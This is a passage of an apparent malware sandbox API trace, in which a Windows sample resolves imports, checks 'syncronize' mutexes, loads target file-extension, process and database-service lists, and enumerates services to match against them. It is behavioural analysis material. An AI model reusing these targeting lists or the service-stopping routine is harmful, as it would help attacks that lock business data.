[0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7631735f [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="Process32NextW") returned 0x7631896c [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="Process32FirstW") returned 0x76318baf [0180.704] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="RegOpenKeyExW") returned 0x7664468d [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="RegQueryValueExW") returned 0x766446ad [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="RegSetValueExW") returned 0x766414d6 [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="RegCloseKey") returned 0x7664469d [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="OpenProcessToken") returned 0x76644304 [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="GetTokenInformation") returned 0x7664431c [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="OpenSCManagerW") returned 0x7663ca64 [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="OpenServiceW") returned 0x7663ca4c [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="CloseServiceHandle") returned 0x7664369c [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="ControlService") returned 0x76657144 [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="QueryServiceStatus") returned 0x76642a86 [0180.925] GetProcAddress (hModule=0x76630000, lpProcName="EnumDependentServicesW") returned 0x76631e3a [0180.926] GetProcAddress (hModule=0x76630000, lpProcName="EnumServicesStatusExW") returned 0x7663b466 [0180.926] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d50000 [0181.191] GetProcAddress (hModule=0x75d50000, lpProcName="SystemParametersInfoW") returned 0x75d690d3 [0181.191] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76810000 [0181.195] GetProcAddress (hModule=0x76810000, lpProcName="ShellExecuteExW") returned 0x76831e46 [0181.195] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b90000 [0181.195] GetProcAddress (hModule=0x77b90000, lpProcName="NtQuerySystemInformation") returned 0x77bafda0 [0181.195] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x755f0000 [0181.197] GetProcAddress (hModule=0x755f0000, lpProcName="WNetCloseEnum") returned 0x755f2dd6 [0181.197] GetProcAddress (hModule=0x755f0000, lpProcName="WNetOpenEnumW") returned 0x755f2f06 [0181.197] GetProcAddress (hModule=0x755f0000, lpProcName="WNetEnumResourceW") returned 0x755f3058 [0181.197] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x763f0000 [0181.200] GetProcAddress (hModule=0x763f0000, lpProcName="WSAStartup") returned 0x763f3ab2 [0181.200] GetProcAddress (hModule=0x763f0000, lpProcName="socket") returned 0x763f3eb8 [0181.200] GetProcAddress (hModule=0x763f0000, lpProcName="send") returned 0x763f6f01 [0181.200] GetProcAddress (hModule=0x763f0000, lpProcName="recv") returned 0x763f6b0e [0181.200] GetProcAddress (hModule=0x763f0000, lpProcName="connect") returned 0x763f6bdd [0181.201] GetProcAddress (hModule=0x763f0000, lpProcName="closesocket") returned 0x763f3918 [0181.201] GetProcAddress (hModule=0x763f0000, lpProcName="gethostbyname") returned 0x76407673 [0181.201] GetProcAddress (hModule=0x763f0000, lpProcName="inet_addr") returned 0x763f311b [0181.201] GetProcAddress (hModule=0x763f0000, lpProcName="ntohl") returned 0x763f2d57 [0181.201] GetProcAddress (hModule=0x763f0000, lpProcName="htonl") returned 0x763f2d57 [0181.201] GetProcAddress (hModule=0x763f0000, lpProcName="htons") returned 0x763f2d8b [0181.201] GetProcessHeap () returned 0x5c0000 [0181.201] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5d41f0 [0181.201] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=14522491036) returned 1 [0181.201] GetTickCount () returned 0x1141f73 [0181.201] GetCurrentProcessId () returned 0x370 [0181.202] GetTickCount () returned 0x1141f73 [0181.202] GetTickCount () returned 0x1141f73 [0181.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5d4218 [0181.202] GetVersion () returned 0x1db10106 [0181.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7) returned 0x5c37d8 [0181.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d0cf8 [0181.202] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d0cf8, Size=0x20) returned 0x5d4268 [0181.202] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4268, Size=0x40) returned 0x5d47d8 [0181.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5d4a50 [0181.203] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_261OR3A") returned 0x84 [0181.203] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5c37d8 | out: hHeap=0x5c0000) returned 1 [0181.203] lstrlenW (lpString="Global\\syncronize_") returned 18 [0181.203] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d47d8 | out: hHeap=0x5c0000) returned 1 [0181.203] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7) returned 0x5c37d8 [0181.203] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d0cf8 [0181.203] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d0cf8, Size=0x20) returned 0x5d4268 [0181.203] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4268, Size=0x40) returned 0x5d47d8 [0181.203] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5e4a58 [0181.203] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_261OR3U") returned 0x88 [0181.203] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5c37d8 | out: hHeap=0x5c0000) returned 1 [0181.203] lstrlenW (lpString="Global\\syncronize_") returned 18 [0181.203] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d47d8 | out: hHeap=0x5c0000) returned 1 [0181.203] GetVersion () returned 0x1db10106 [0181.203] GetCurrentProcess () returned 0xffffffff [0181.203] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0181.203] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0181.203] CloseHandle (hObject=0x8c) returned 1 [0181.203] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0181.204] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5c37d8 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d0cf8 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d0cf8, Size=0x20) returned 0x5d4268 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4268, Size=0x40) returned 0x5d47d8 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d47d8, Size=0x80) returned 0x5d47d8 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d47d8, Size=0x100) returned 0x5d47d8 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x34) returned 0x5d48e0 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d08e8 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d08f8 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d0908 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d0cf8 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4920 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0d10 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4920, Size=0x8) returned 0x5d4920 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d0d28 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4920, Size=0x10) returned 0x5d4920 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0d40 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0d58 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4920, Size=0x20) returned 0x5d4920 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d0d70 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0d88 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d08e8, Size=0x8) returned 0x5d08e8 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d08f8, Size=0x8) returned 0x5d08f8 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4948 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d0da0 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4958 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0db8 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4958, Size=0x8) returned 0x5d4958 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4a78 [0181.204] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4958, Size=0x10) returned 0x5d4958 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4a90 [0181.204] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4970 [0181.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4958, Size=0x20) returned 0x5d4980 [0181.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d08e8, Size=0x10) returned 0x5d4958 [0181.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d08f8, Size=0x10) returned 0x5d49a8 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d08e8 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4aa8 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d08f8 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4ac0 [0181.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d08f8, Size=0x8) returned 0x5d08f8 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d49c0 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4ad8 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d49d0 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4af0 [0181.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d49d0, Size=0x8) returned 0x5d49d0 [0181.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4958, Size=0x20) returned 0x5d49e0 [0181.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d49a8, Size=0x20) returned 0x5f4e60 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d49a8 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4b08 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4958 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4b20 [0181.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4958, Size=0x8) returned 0x5d4958 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f4e88 [0181.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f4ea8 [0181.205] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0181.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d47d8 | out: hHeap=0x5c0000) returned 1 [0181.205] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0181.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b38 [0181.221] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b38, Size=0x20) returned 0x5d4470 [0181.221] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4470, Size=0x40) returned 0x5d4830 [0181.221] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x80) returned 0x5d4830 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x100) returned 0x5f5180 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b38 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b38, Size=0x20) returned 0x5d4470 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4470, Size=0x40) returned 0x5d4830 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x80) returned 0x5d4830 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x100) returned 0x5f5288 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4b38 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4830 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x8) returned 0x5d4830 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d4840 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x10) returned 0x5d4860 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d4878 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5d4470 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4860, Size=0x20) returned 0x5d4898 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x5d4498 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16) returned 0x5d48c0 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5d44c0 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4b68 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4830 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5f5390 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x8) returned 0x5d4830 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3c) returned 0x5f53d8 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x10) returned 0x5d4860 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f5420 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5f5440 [0181.222] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4860, Size=0x20) returned 0x5f5460 [0181.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5f5488 [0181.222] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0181.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5180 | out: hHeap=0x5c0000) returned 1 [0181.222] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0181.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5288 | out: hHeap=0x5c0000) returned 1 [0181.222] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5f5a08 [0181.225] EnumServicesStatusExW (in: hSCManager=0x5f5a08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0181.226] GetLastError () returned 0xea [0181.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e4) returned 0x5f9308 [0181.226] EnumServicesStatusExW (in: hSCManager=0x5f5a08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5f9308, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5f9308, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0181.226] CloseServiceHandle (hSCObject=0x5f5a08) returned 1 [0181.446] lstrlenW (lpString="Appinfo") returned 7 [0181.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0181.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0181.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0181.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0181.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0181.446] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0181.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.446] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0181.446] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0181.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0181.446] lstrlenW (lpString="AudioSrv") returned 8 [0181.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0181.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0181.446] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0181.446] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0181.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0181.446] lstrlenW (lpString="BFE") returned 3 [0181.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0181.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0181.446] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0181.446] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0181.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0181.446] lstrlenW (lpString="CryptSvc") returned 8 [0181.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0181.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0181.446] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0181.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0181.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0181.447] lstrlenW (lpString="CscService") returned 10 [0181.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0181.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0181.447] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0181.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0181.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0181.447] lstrlenW (lpString="DcomLaunch") returned 10 [0181.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.447] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0181.447] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0181.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0181.447] lstrlenW (lpString="Dhcp") returned 4 [0181.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0181.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0181.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0181.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0181.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0181.447] lstrlenW (lpString="Dnscache") returned 8 [0181.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0181.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0181.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0181.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0181.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0181.447] lstrlenW (lpString="DPS") returned 3 [0181.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0181.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0181.447] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0181.447] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0181.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0181.447] lstrlenW (lpString="eventlog") returned 8 [0181.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0181.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0181.447] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0181.447] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0181.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0181.447] lstrlenW (lpString="EventSystem") returned 11 [0181.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0181.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0181.448] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0181.448] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0181.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0181.448] lstrlenW (lpString="gpsvc") returned 5 [0181.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0181.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0181.448] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0181.448] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0181.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0181.448] lstrlenW (lpString="iphlpsvc") returned 8 [0181.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.448] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0181.448] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0181.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0181.448] lstrlenW (lpString="LanmanServer") returned 12 [0181.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0181.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0181.448] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0181.448] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0181.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0181.448] lstrlenW (lpString="LanmanWorkstation") returned 17 [0181.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.448] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0181.448] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0181.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0181.448] lstrlenW (lpString="lmhosts") returned 7 [0181.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0181.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0181.448] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0181.448] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0181.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0181.448] lstrlenW (lpString="MMCSS") returned 5 [0181.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0181.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0181.448] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0181.449] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0181.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0181.449] lstrlenW (lpString="MpsSvc") returned 6 [0181.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0181.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0181.449] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0181.449] lstrcmpiW 